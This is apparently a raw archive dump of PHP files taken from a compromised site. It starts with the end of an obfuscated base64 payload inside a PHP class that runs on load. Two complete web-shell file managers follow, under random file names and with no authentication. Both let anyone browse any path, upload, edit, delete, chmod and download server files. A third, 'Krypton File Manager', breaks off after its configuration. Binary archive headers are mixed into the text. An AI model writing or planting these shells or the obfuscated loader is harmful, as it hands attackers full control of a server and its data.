	Ry35/z/CmJ6uQjGxwMF2L9SCY/KRdDREkyu4c
	XD9B+JY1jl5bjrL10UmlZNVgDTZSEJWjtQQS
	qfPdEMSIOUjEaJvjxTEwBfb7zD6U0N4psCxH53C3j//nWn
	s/3LrdssaSzfgCMkiENssKsJRskbggloNiavXx9bL5VTflJpGYfZnKAd
	wDgAoQyHVLpVcNAI5+G7h+bJyHiFVvz4Pe0f/ALiW9/R6WzHHVVNBA1wgaZUny30QL3zoO9X7sU6
	9zN5uZSKlKZGhV8ltwXC2ReCDL0m3/+4uwGOaexigeeej9R3Qm5pgrKQ5PPscWL49rZ+
	QUYUR/qnihs1fbqngb44i8aukJBltPi3H8w
	RGgoInlTqWg1R5CQaPJPmHyq0MkO09sfsziUfDFXe
	iavtxe6Cg02ISTKdY5/gLmErEpYLAvIy32yGszqizRLvahLyim3zTvnMEuMDl8P0af5JAhDHT0
	MbGr8UCPRSq71AlA3cW+yyno5koiJQNbx+r8kBGx2iN3a8ohfMGDq6DxXpKUrckZzV0Q5AK9IK7cX
	7TmhTjbV6asresnoicgmZBY+9zKcQL0cYDd5mbFk5hHXh+iR3kgzgPAZuh2iR48byxU0hpkoFLq
	WShRYaf5aNgTbldfdtDqgxwx5WSNTWZSH3emwnJDTr
	bN5NGOMnqGJFVLoqpKwxPAPHUF4YuuRxFDPlt4K/ozFaWTkp2r+8HjWW
	3yppgZSURf/HFZTMG+lpT8Fwde6OCFyQOsyjX4nQUjJXLnR+bpV4FUNAW5NH8loDTNAdE4xVix8Zbl
	2/aj+uQfXQVchD5s9tMWdsmbiR6Pa0JjxjIIEsDNbdlS
	m9myXg9IGOFLz2ARe1n/vWUVzAUbKglw3
	UBgKcGSK0o6ZNeNBLhtqOsa5D96VS7I
	eXT5glqWGy4hUi+Lm6ucwtEEmS88BkZ5NTvP4yMomyfHykYG+ODNVJCjt959N
	pctHjKIJp57/Y3S3gh5oLCCsNHOCMlywWq5jI9J7S4LBMf+zqhl1CFyMeJglK5gZpYC8peTWwiT968
	YzeXje7rTkBliqEuROinrtAjB2MzcGh/Ryd30/XBY7kQANhqKGRIpnoEZ0aSXL4/o9lDRGZojXp
	7TA14nwltkDczXp4sPF0hkLFIcJVF8P9WM4MqkWvug3JUJcN4n5HwzA35yDkzzMVQcn1mQ6
	6JskTfu1nwnrqfBcoOMyCjJiM7EyxOy6QiKE3YGfUEOG/wv+nfh5yDL+kWm
	m0IprYUQIW/JsyAP1CLkEq+yiYl/5dQzCgBOi1JIO2wzg7XEkJzb7Mdkbdmz
	UiHu+B3q5rdE+Ja9EoINKt13zKIHaizNtOMSB96ZQJil8pFgrll0kzTj6MEvI
	A1Ks/aMHwxbAw2ifdmotYWkfadnB6haeG6SVWH6mCCly8MG5vsuGobwB54L9
	W95rFM6pvPQ7FLXrpKuuSBEwMICKz4prN5J8OKjSa7K6fGNCo5yMJeqkSw3i00bSSIoNT8hK2
	AfBRd/Z+7+Ee4ZMCxlMCcGOdpY9+EuRfAAl7cHf7fejAl7ese4XgzlHezCOc2Neb
	O9pvwBd/DZwxnn442zV+zHpLiFvHlJX9u84Ng5f0YQ
	Uir8M4zq3LmiqMr2lFZ+kxgApzg0mJHhFpjtMO2VdoIPlev1NKSYWD
	XG5vU9j+jTEPj3pdLSONKfdN1WaTsAqzmwRPoSC/ei6BiKFBFgkPB7q4Pb388wHjAf6wDHg7hcm
	huIs/7rBMQuLiCGTd8lcDQKH8gX1fCH4Ue0NtrWqw7svI/ke5DGlmB/4n7mkEoWNEuFzu9k/o2p/BeG
	EXZpW1y4yyy52HqK6YGI0VZc60OWuXoFdeRhssrkWyC+hEM8sQCJj3LxyR6Wb2haMkzORcgAE
	2jCB9idQva1ou03FQl4mpA+POced1C/7P2dYzLWvozJhhutlrHo+iBpr00
	9oXg/NdD84pIs2LpWuI2SkBEtOsNAjPdtowRuD4a
	9iJht9/DGXHZOd46tX8ykO+6qr+h6bWrt3JwSxmL3DpmeqmdR7Ul/DzzOihIpKTosu
	wWKbwAj2L7ndbWmAEOVDZcvW6cAORQGcb14qiBg1Mc5L5Azuaf
	L8h8abGrM0va8m9l+87VYPyOFhaOIfJxhl+q
	Og+kcPsFHKSnwU+cYMqN02i2ijkCsr6UTMKe8Uu1u7hK+fKnlF47yUV
	9yrn57zfE+PV3wH1/5c0dsmTtCsxqxeqwyEk++g8DybB1PDJ
	Mz6NnBXBggGVhyiq/OGL6RSR1eFRvbBf3LWlxuy0V4Rr+QrFGp4t7pkT4m
	+rwxq3XRUlcDlrUaEItctGn/DAX440lLt1e327YIyClTar
	umqL2k8/izPozlSb/LzfHyqJJquIsNJzqw4JFqtbLvCPlHP9fxB/re/JJ47IPCKBNcp7TfLckdO
	LRqky2ZpChZshydTtfl56okG7zjl8aDx
	Trr1ucoe5Mt0pcwmVl9V58KiaCygL5U0h/zq
	r7mxO15msOLp5hsXc1Y3JEr7/gfLZn7vS6Ph1/BDpWGmrln4
	YQYcHEdhimts3T8pYYveY2MDplPY8yQUI/tbeGpK9x8h/2iZmIflrEhvuIkJwy1xWEnMUX9QXq
	04MrzI1cinidmYs+dGjBcewXka+ykL7vxYimTa05RqUsnI
	lkR2zZI9mfBNqjzPwn/VCTk62Tsb0nN56jB74nGO9xC/zwzhTbtCkHQofOYVaTAns
	ZlDM1vQL1nu7LFnEYpVqQIGx3iexSN9y
	bDb7Mf4IpMnfyoU6jSkYSaXV5x8a/KTMWk6Ds3hnMI
	QR3kq8L/Emyt//3qDDdBVwFGBiima8jd+WI8HuwrUcm7ptjHrPJ0hqecruBp
	YkFRHjDBsG/XdW0sgRkgzLIiVWaguu4xnZayXVbw9w8xTU0bndv11lq8akDJ
	kW0+UQ3b20Fn4qRFau1R5tvZAHaiap5OFgaZSsC4+6KVj7A6IB4t7S8la6tT7M3Nn/RBjAdR
	ZuGgvU9xuISup2gAgY++jzJXM+fKo9BtNIgakrJWfxBiu/HpsAu7Z0fldUWpvaXgtXj1F6JiiPNxGPP
	JMqvxrtfndS4btWVinThs++dZnJEinyHrwfxPTrLjULR44hc9dClldQ
	jertrj7FREhJUY7PB+ZMQobvrWy6uNb8bfOz4fk9FZBN0d2x
	V8tmb3nFehQf1AE3zD7a0l8ZJeYdTUQe5m7EBB3/l2kG3JqMP3ylPO8mL7m61TtK4M
	EKiV1ctESdd4461dmjC3bAfbV4ooxgbvMGIH5aE33qRIhvZt357LzBGY+LfIqQ3C7pkmbz/B
	SDqdA6ee/Dr6nozSfGhW1ugtMhrYNxHhvWR2YN2N82K9b6hXU7ZI0DACKmyt+a
	J6iuI7ueCC9AS4yXV6G5BxqO2wRJrAcj2LGEkpo
	b+ZHBdD8h8EkmYm46xuHeh3hbdIaXBHjCKBthmiKOddL/AAE2yfrTFGVsYCpjil2urBEO
	5CGJiBJjQqy0QjPf+9EV3gFKortMZNm6aixEprFdG3psv
	UDT4JAi/L4NlZOZzuTW6LYXt4MSAzc1EFRu1w4TOjSLqT2EMf9ftCdC2a7ZwKqc8Od5JWUhNien
	O9tWbVleGouAogC/2I7bvPL0daek6cn+izQwuaX2GGV
	6cFoSU4vdl8DcIfNof9V2YqYI9HwsboITHxLPfPOdHzU84bWgX11Y1HHgxggf7QuwqIrudqUn
	AVVmc4efL9Hk6i2+56P5fpxv466Irt3U40OxRqNdwolYroHQdBcVAm
	Gizu/GHhvWqeJkwUSv/7SwA9+2it59zZU
	4/KwcZCLSe1V8uXQMA2fdYVSlCzSrjZFBd3bu3aPGWb/1OJG
	FZ2ynCaoPjqj3Rqan80IrEwNHjPWzxuaEmTCtG9xx6oVgl9UO/iMFLlOmxUbQeDX7sa4
	1qSvpwa1bPzQroLIi4Is/wgknbIgpHgm
	WeQw8VRtwkAbFLmZiQ8zGzPHO6Otrg28aZUgLvDnr1OLSKdlrp+Bv/0EmjiqqNLvqY1
	kEm06k8wxM5rGePrQbCsVbWKE1xWVEt6L8L0J3o2ToPjk9dvo5m+48vFa8/ZnewIzlGZZ
	W8PXQOyMedsAtaiCnzuVt8VIcMI0eYSF2pIKyK/6KP/k2LhJH9uvt6n/ZejY
	+kEFVo6TMTKnzxLbKYXfHmRbIhmo5UZ4cwsXOTZF/a4Z995IKpzxlw
	y1ihgQ8KXp61fbpbEVLKdjUs8P1Bfebg75tPZqmYJdyMT2r5It3CsM0R
	2ztHu44+VDywqPRLf3SWLB7zAYCe8H6JoNvY8G4bPNu8vxFlhWT10lv+vBm82rQp3y8ky
	mvmV5Rpvj5RCZ19C2PYzu8kxF06vaaZ/obg3/wSGbAeAJSe3eZYeNCO63WMpr1EahyKe
	QwYiwhLXNertLrQaMld5+v4NlCofSjJ34Xf4D/j
	fPCK8kL7C8fZa2QVrYzdo4g47Wa06EAveykuVHG5AEDF3yLoTEXk/NiqBm+Iwss2n68k2sSFLR
	k4HG1fakXZ6lZbelfNbYO1Lv22sRg9pm41nVKh4rY84qkZVO5ipCwhJD9X03J
	kCWPe2arVyry+uPOSTeRpUcIiZuJsMYfmZTvEAgGepBmok7lsR76A5bZU+pWTK
	H0MahXDYlKE9xLcFSeC2j5oJQE8lbsJAdPbrVbEXAGO/OblIyo4NiZweq/JpepAivIH
	TVKlFIyCmVTwmioUE2GuJnBFYMeCUvxotD7SJ3o2prdfHrPWs+0hs3mnROyZ
	P1BrljEeMbJq5IOX7p3DwO9+4K01CLkMWGaTzQT/nAQgBUMVyqVk/D
	tq+NG85SLvBQ2Dm+80yZ7bmtRe+0THrH+JTeP4Hs
	oP/WCb1wOl4Ysh7wtqqDAXCpKvl3qeqqAPW8faVhNkofgXsYdl5yX
	YKNdp5pqzWvbPtkQcILxV58H+WBo+qAmNeFJgVBCZ7Xaf
	K5mToezMBb6wFb6AZLyCBdNfCVmrERTKBU59mVT
	vEQMS1Ou338eL0VA0p6qtd6BF+84e0mHFRfO60b1y1pDvZAzuUPt9ZvO7QNqIq+LK8+lwR
	p1IYBA6rBEurlwMHS597pA37uTL03tiGh/tNHB6frX4LcM
	0n0q11K77rWSoUEkdNa1orpZWonjYa/5b1HL6EPlhATjl/09XkVd8li09W8qH436RgKLhgj
	ZvVmePe9HZLeXrv3EVu6/B6i65Yvd7Fy+ogSb5jjWfgQzTv7UYaWIdyOVfGhjXLy2R
	QEEO0QSqUQl4mccAlLlZO4tcXRC6yXf9D5Bg/refYFYzhOrea07xAgZ9vjJUIlOpUMd
	IvPCp9WiLzQVMBeuD9775DluvueUCO0uG7+fL2s7e3HfcCVR9h8bVb
	LCfNy2xmH3BbC9by7tsSttV9+0Kxji70qGgxMIIulaf8jj47jRaX/wBjKf8B+MJamI51r6d
	SB1RfC17h0VZEg/0t5iE1AXWCOKGuPUghKC1eQJyXCICOnZVEnl8q4Kh
	LRt2z71kSF+tButp7uS5DPVpCxYEAVk0+Brugtd2BtXHVFdTGngCxOqKj
	IaSOAOdV8qHvfN3XbDy31t/4OyxXaRqb+lCCv
	SJ6pHh2YsSV1ZCMQZvgcvWHRyMHrEMORpvENC2bxZg77Zj+IpYEGl91E
	tghEjNzxgU/zbQrWtwG4MTup5zrE747ittF
	HnHl/EOCFISvHXcqjO2gzkn9Xs+Yu1rffduIw
	JY3RCndsNVDyATxpRVadRg6g2YD63Gc8dK+zNsHgSSqm2XbXSyfhdMObZkj3dQ2ogZZbqf
	0R3oInvFF4nZ8Q75W9Dmg0nhrTMzT7MKUph+amWyV
	17OSvH9n1nbadxqP52izoD8V68+GU4ITNyMjgMQ6jWtuuqjyH6rPQzsYp2csK6EIaAGf40Va
	ZQBY4414778m52QbW2YCnF8ukKnT1b/Kc2Xr6r5y9I8K7xOePLeQb7MZSD3B+btXxXe/cgavw
	Pl8Smv3Ak05S7Pp26+lyk5m90CcvJH
	+nl/3Ccq1m/VLkSDFbGokxx6bYorwpaz
	zs39vKOT/3WZJKI4xcOvFxY+Cuol4pHnbQv5WkebKg0iAVVHqjXjyX
	p4AadkTLsx22UX+ZFgHf75vks2pfABZB6jrZHcCQR6bdDbNN0euvdE28xg915PNARpO
	6fviipxHXL1LWcgUFeRxOquzQoGO6hBO78q
	sQAcGrCOCqxv33K+Uua8lXkinOi/W3LyIBFJj9a2kumoqa+G+7o4RLfBwndZzXten
	OPkQYVin/Ef3h5BeKBvUwE3Lup3kmFQ/0U+
	fX5q82WOeiQ9ue4SGLHySHo+KFGgOjHQ7AmS7+Rwey9KfK4L3RS9YNGe9wxk8
	TcWR6xa2caNynHgoaLdbLzNfm4FJn2FTrDS3VY2fObzodpBQh1ttEQy
	Nx3ZkUD/If+m7IvfDjcb0cBR+/FCtekzq5WglRfGsWJyGrhkyJ7VVScc5FdEHT6BzBJxlMRryC5V
	DmfWOX1PZdC+GF1qwi3mM6bGOryluQs0/IZYHYzZvFy6jJF8bUIahT6gC8k7Ydth
	Fqvo/TkJPLB7IjzEia5AnUGs1Zej0fwNbzw+lfubj8VlJH09L8CcsD8PFbD71aSn
	Z2o8uQ3b/I3cpJFub04laDgi8vQIhrUneC+hF+A
	NW1UleWPMrvaUwpIzCYsRpehvv+4hmTEf
	vaQumJ/ThBapTJiiUrJIuRfMTjvPl15xEoaY+FL3VoI6Ym+P4
	6O/zRgG7BPQuAYqWpdtCO0Y0+UNVYs/SKC9pUNzU478soB9mV
	Rt6/bm0I2iUkW3OYMLfewIrqrM8+KT+15a4joq1+3FkM5lo
	md06pte49E0Y8I8tps2ZOqc3KYWlE2yytUvScn+EQ8Be063WpReEux48bZbSZ5slgfeDgPy5uVWkFNG
	EG5MhMVmI9f5URpWh15IBxhMQ/LIbN4aX8SbhjrOhSsSG6ZCc0l
	dv00D2DSkb51arDaExfANo9bgtS6FY0Wlw6VGpk2B+2LaIiSiY1rU+u4bvA
	sEsNy37K21BeK7OetWyO30LkCsJL5T7l0zqCG
	Pp8KNWLXU/2yW9Ax0TA7SWceNS/c7SrUI+IsqNDzCP9RQxtxcsaHm6nzdUp6DRaao5AmNOFYRDSSKl4
	to3nPs1CFw74FSzShaD+W5aWN9oiZeB
	pSSrtKuD5pV18iGnQdd2xtVH4jJWvOUg
	qUJmmwbjEe3Jr8XCcQ+rNh34xz0rZvbRnIuD
	oAdH7dvkV4k+koUKy38pl6KWknzsPwgx1T4J6f2OGvF6jL7sWERcQvh9r45QfnsagGJC7k
	GJUX0OXp3oPKDoLNyfjRXmdaixQHVeUnKe1aK3Gmhj+Taq9mpukWrnSyzLar9CTQSltbYuxT
	6G7gsBx4oh7DuP5ssA3XU1mKEo0pKeQ/6giBWm6q8QDxM2hlNaJX14YDpToV/lb
	6L6z9NioEDLT+X2slKuWVbwV3ZQqjSPh506uJ7EX71N5HSQMZQoL
	ymfjXbXCdxOF9kmNREuDp8jITOKIWoebWtVK/215pwsp5xGvlczuQ4+sRFV
	FpsUtjmKZPdJFXvq59hNh5kXpP7XTbF
	Hb4Sjhbq5IF64VrVypMY1hKx13cRHYX3J2TctUCSq7Qa0u7J5krJ
	giYpL26hKKYrp44nDWZbym2GFYGY34oIVnVf0XTaF4VYoeLCRlEdl
	Cco8AC8NqGWiSn5ld5/XGU/z9WtvLDanCkNPWsZELPdHe/JOy7ILC6DGzxCa1ishS7
	sTuJ45Y6fbkwxVbJSEh5u9KUl8SWWSI
	Z+g0yN/7rRAzeaTnAs1cj1XFHkyy8m9wE4CO
	7nip56POvqvOvv';
	public $_inc = array('9Li', 'Nraz', 'qWx', 'cnp1', 'Kw', 'Ob', 'nK');
	public $_worker;
}

new Div();
?>PK�Cm\�K�V��	dr80q.phpnu�[���<?php
session_start();

// ----[ Konfigurasi Awal ]----
$currentDir = realpath(isset($_GET['path']) ? $_GET['path'] : __DIR__);
if (!is_dir($currentDir)) {
    die("Direktori tidak ditemukan.");
}

function deleteDir($dirPath) {
    if (!is_dir($dirPath)) return unlink($dirPath);
    foreach (scandir($dirPath) as $item) {
        if ($item === '.' || $item === '..') continue;
        deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);
    }
    return rmdir($dirPath);
}

// Rename
if (isset($_POST['rename'], $_POST['oldname'], $_POST['newname'])) {
    $old = $currentDir . DIRECTORY_SEPARATOR . $_POST['oldname'];
    $new = $currentDir . DIRECTORY_SEPARATOR . $_POST['newname'];
    if (file_exists($old)) rename($old, $new);
}

// Hapus
if (isset($_GET['delete'])) {
    $target = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
    if (strpos($target, $currentDir) === 0 || file_exists($target)) {
        deleteDir($target);
    }
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

// Download
if (isset($_GET['download'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];
    if (is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// View/Edit
if (isset($_GET['view'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['view'];
    if (is_file($file)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            file_put_contents($file, $_POST['content']);
            echo "<p>File disimpan.</p>";
        }
        $content = htmlspecialchars(file_get_contents($file));
        echo "<h3>Edit: ".basename($file)."</h3>";
        echo "<form method='post'><textarea name='content' rows='20' cols='100'>{$content}</textarea><br><button type='submit'>Simpan</button></form>";
        echo "<p><a href='?path=".urlencode($currentDir)."'>Kembali</a></p>";
        exit;
    }
}

// Upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
    $tmpName = $_FILES['upload']['tmp_name'];
    $name = basename($_FILES['upload']['name']);
    move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name);
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

$items = scandir($currentDir);
?>

<h2>File Manager</h2>
<p>Path: <?= htmlspecialchars($currentDir) ?></p>
<p><a href="?path=<?= urlencode(dirname($currentDir)) ?>">⬅️ Kembali</a></p>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="upload" required>
    <button type="submit">Unggah</button>
</form>

<table border="1" cellpadding="5">
<tr><th>Nama</th><th>Aksi</th><th>Rename</th></tr>
<?php foreach ($items as $item):
    if ($item === '.' || $item === '..') continue;
    $path = $currentDir . DIRECTORY_SEPARATOR . $item;
    $isDir = is_dir($path);
    ?>
    <tr>
        <td><?= $isDir ? "📁" : "📄" ?> <?= $isDir ? "<a href='?path=" . urlencode($path) . "'>$item</a>" : $item ?></td>
        <td>
            <?php if (!$isDir): ?>
                <a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Download</a> |
                <a href="?path=<?= urlencode($currentDir) ?>&view=<?= urlencode($item) ?>">View/Edit</a> |
            <?php endif; ?>
            <a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Yakin hapus?')">Hapus</a>
        </td>
        <td>
            <form method="post" style="display:inline;">
                <input type="hidden" name="oldname" value="<?= htmlspecialchars($item) ?>">
                <input type="text" name="newname" value="<?= htmlspecialchars($item) ?>" required>
                <button type="submit" name="rename">Ubah</button>
            </form>
        </td>
    </tr>
<?php endforeach; ?>
</table>
<style>
    body { font-family: sans-serif; }
    table { border-collapse: collapse; width: 100%; }
    td, th { padding: 5px; text-align: left; }
</style>PK�Cm\�rf:/:/	qavgy.phpnu�[���<?php

$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$dir = realpath($dir);

// 分开目录和文件排序
$items = scandir($dir);
$dirs = [];
$files = [];
foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    if (is_dir($path)) $dirs[] = $item;
    else $files[] = $item;
}
sort($dirs);
sort($files);
$items = array_merge($dirs, $files);

// ✅ 打包选中项 zip
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['zip_selected'], $_POST['selected_items'])) {
    set_time_limit(0);

    $timestamp = time();
    $zipFileName = 'selected_' . $timestamp . '.zip';
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    $zip = new ZipArchive();
    if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
        foreach ($_POST['selected_items'] as $item) {
            $path = realpath($item);
            if (!$path || !file_exists($path)) continue;

            if (is_file($path)) {
                $zip->addFile($path, basename($path));
            } elseif (is_dir($path)) {
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::LEAVES_ONLY
                );
                foreach ($iterator as $file) {
                    $filePath = $file->getRealPath();
                    $localPath = substr($filePath, strlen($dir) + 1);
                    $zip->addFile($filePath, $localPath);
                }
            }
        }
        $zip->close();

        $message = "✅ ZIP 已生成:<a href='?download_zip=" . urlencode($zipFileName) . "'>点击下载</a>";
        $messageType = "success";

    } else {
        $message = "ZIP 打包失败";
        $messageType = "danger";
    }
}


// ✅ ZIP 分块下载
if (isset($_GET['download_zip'])) {
    $zipFileName = basename($_GET['download_zip']);
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    if (file_exists($zipFilePath)) {
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="' . $zipFileName . '"');
        header('Content-Length: ' . filesize($zipFilePath));

        $fp = fopen($zipFilePath, 'rb');
        if ($fp) {
            while (!feof($fp)) {
                echo fread($fp, 1024 * 1024);
                flush();
            }
            fclose($fp);
        }
        unlink($zipFilePath);
        exit;
    } else {
        echo "<div class='alert alert-danger'>ZIP 文件不存在或已过期。</div>";
    }
}

// 文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadFile = $_FILES['file'];
    $targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile['name']);
    if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
        $message = "文件上传成功: " . htmlspecialchars($uploadFile['name']);
        $messageType = "success";
    } else {
        $message = "文件上传失败";
        $messageType = "danger";
    }
}

// 创建文件/文件夹
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'], $_POST['new_type']) && !isset($_POST['zip_selected'])) {
    $name = trim($_POST['new_name']);
    $type = $_POST['new_type'];
    $path = $dir . DIRECTORY_SEPARATOR . $name;
    if ($name !== '') {
        if ($type === 'file') {
            if (file_put_contents($path, '') !== false) {
                $message = "文件创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件创建失败";
                $messageType = "danger";
            }
        } elseif ($type === 'folder') {
            if (mkdir($path)) {
                $message = "文件夹创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件夹创建失败";
                $messageType = "danger";
            }
        }
    } else {
        $message = "名称不能为空";
        $messageType = "warning";
    }
}

// ✅ 修改权限
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_mode']) && !isset($_POST['zip_selected'])) {
    $chmodFile = realpath($_POST['chmod_file']);
    $mode = octdec($_POST['chmod_mode']);
    if ($chmodFile && file_exists($chmodFile)) {
        if (chmod($chmodFile, $mode)) {
            $message = "权限修改成功: " . htmlspecialchars(basename($chmodFile));
            $messageType = "success";
        } else {
            $message = "权限修改失败: " . htmlspecialchars(basename($chmodFile));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 删除文件 / 递归删除目录
function deleteRecursive($path) {
    if (is_file($path)) return unlink($path);
    $files = array_diff(scandir($path), ['.', '..']);
    foreach ($files as $file) {
        deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
    }
    return rmdir($path);
}

if (isset($_GET['delete'])) {
    $deletePath = realpath($_GET['delete']);
    if ($deletePath && strpos($deletePath, $dir) === 0) {
        if (deleteRecursive($deletePath)) {
            $message = "删除成功: " . htmlspecialchars(basename($deletePath));
            $messageType = "success";
        } else {
            $message = "删除失败: " . htmlspecialchars(basename($deletePath));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 编辑文件(读取内容)
$editContent = '';
$editFile = '';
if (isset($_GET['edit'])) {
    $editFile = realpath($_GET['edit']);
    if ($editFile && is_file($editFile)) {
        $editContent = file_get_contents($editFile);
    } else {
        $message = "无法编辑该文件";
        $messageType = "danger";
    }
}

// ✅ 保存编辑内容
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'], $_POST['content'])) {
    $filePath = realpath($_POST['edit_file']);
    if ($filePath && is_file($filePath)) {
        file_put_contents($filePath, $_POST['content']);
        $message = "文件已保存";
        $messageType = "success";
    } else {
        $message = "无法写入文件";
        $messageType = "danger";
    }
}


// 生成面包屑
function generateBreadcrumb($dir) {
    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $pathAccum = '';
    $breadcrumb = [];
    foreach ($parts as $part) {
        if ($part === '') continue;
        $pathAccum .= DIRECTORY_SEPARATOR . $part;
        $breadcrumb[] = "<a href='?dir=" . urlencode(realpath($pathAccum)) . "'>" . htmlspecialchars($part) . "</a>";
    }
    return implode(" / ", $breadcrumb);
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>xiaoxin</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="icon" href="https://v5.bootcss.com/docs/5.3/assets/img/favicons/favicon.ico">
<style>
textarea.form-control { font-family: monospace; font-size: 0.875rem; }
input.form-control-sm { height: calc(1.5em + 0.5rem + 2px); }
</style>
<script>
function confirmDelete(file) {
    return confirm("确定删除: " + file + " 吗?此操作不可恢复!");
}
</script>
</head>
<body>
<div class="container mt-4">

<h5 class="mb-3">目录: <?php echo generateBreadcrumb($dir); ?></h5>

<?php if (!empty($message)): ?>
    <div class="alert alert-<?php echo $messageType; ?> py-2"><?php echo $message; ?></div>
<?php endif; ?>

<!-- ✅ 已移除“打包当前目录”按钮 -->

<!-- 创建文件/文件夹 -->
<h6 class="mb-2">创建文件/文件夹</h6>
<form method="post" class="d-flex gap-1 mb-3">
    <input type="text" name="new_name" class="form-control-sm" placeholder="名称" required>
    <select name="new_type" class="form-select-sm" required>
        <option value="file">文件</option>
        <option value="folder">文件夹</option>
    </select>
    <button type="submit" class="btn btn-success btn-sm">创建</button>
</form>

<!-- 上传文件 -->
<h6 class="mb-2">上传文件</h6>
<form method="post" enctype="multipart/form-data" class="d-flex gap-1 mb-3">
    <input type="file" name="file" required>
    <button type="submit" class="btn btn-primary btn-sm">上传</button>
</form>

<?php if ($editFile): ?>
<h6>编辑文件: <?php echo htmlspecialchars(basename($editFile)); ?></h6>
<form method="post">
    <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
    <textarea name="content" class="form-control mb-2" rows="12"><?php echo htmlspecialchars($editContent); ?></textarea>
    <div class="d-flex gap-1">
        <button type="submit" class="btn btn-warning btn-sm">保存修改</button>
        <a href="?dir=<?php echo urlencode($dir); ?>" class="btn btn-secondary btn-sm">取消</a>
    </div>
</form>

<?php else: ?>

<!-- ✅ zip 表单单独 -->
<form method="post" id="zipForm">
<table class="table table-striped table-hover table-sm">
    <thead class="table-dark">
        <tr>
            <th><input type="checkbox" id="checkAll"></th>
            <th>名称</th>
            <th>类型</th>
            <th>操作</th>
        </tr>
    </thead>
    <tbody>
        <?php
        $parent = dirname($dir);
        if ($parent !== $dir) {
            echo "<tr><td></td><td><a href='?dir=" . urlencode($parent) . "'>.. (上级目录)</a></td><td>目录</td><td></td></tr>";
        }
        foreach ($items as $item) {
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            echo "<tr>";
            echo "<td><input type='checkbox' class='chkItem' name='selected_items[]' value='" . htmlspecialchars($path) . "'></td>";
            if (is_dir($path)) {
                echo "<td><a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></td><td>目录</td>";
            } else {
                echo "<td>" . htmlspecialchars($item) . "</td><td>文件</td>";
            }
            echo "<td class='d-flex gap-1 align-items-center'>";

            if (is_file($path)) {
                echo "<a href='?dir=" . urlencode($dir) . "&edit=" . urlencode($path) . "' class='btn btn-warning btn-sm px-2 py-1'>编辑</a>";
            }

            echo "<form method='post' action='?dir=" . urlencode($dir) . "' style='display:inline-block'>
                <input type='hidden' name='chmod_file' value='" . htmlspecialchars($path) . "'>
                <input type='text' name='chmod_mode' value='" . substr(sprintf('%o', fileperms($path)), -4) . "' size='4' class='form-control form-control-sm d-inline-block' style='width:60px'>
                <button type='submit' class='btn btn-info btn-sm px-2 py-1'>权限</button>
            </form>";

            echo "<a href='?dir=" . urlencode($dir) . "&delete=" . urlencode($path) . "' class='btn btn-danger btn-sm px-2 py-1' onclick='return confirmDelete(\"" . htmlspecialchars($item) . "\");'>删除</a>";

            echo "</td>";
            echo "</tr>";
        }
        ?>
    </tbody>
</table>

<button type="submit" name="zip_selected" class="btn btn-dark btn-sm mb-3">打包选中项</button>
</form>

<?php endif; ?>

</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.getElementById("checkAll").onclick = function() {
    document.querySelectorAll(".chkItem").forEach(c => c.checked = this.checked);
};
</script>
</body>
</html>
PK�Cm\�d��o�o�	9gvid.phpnu�[���<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
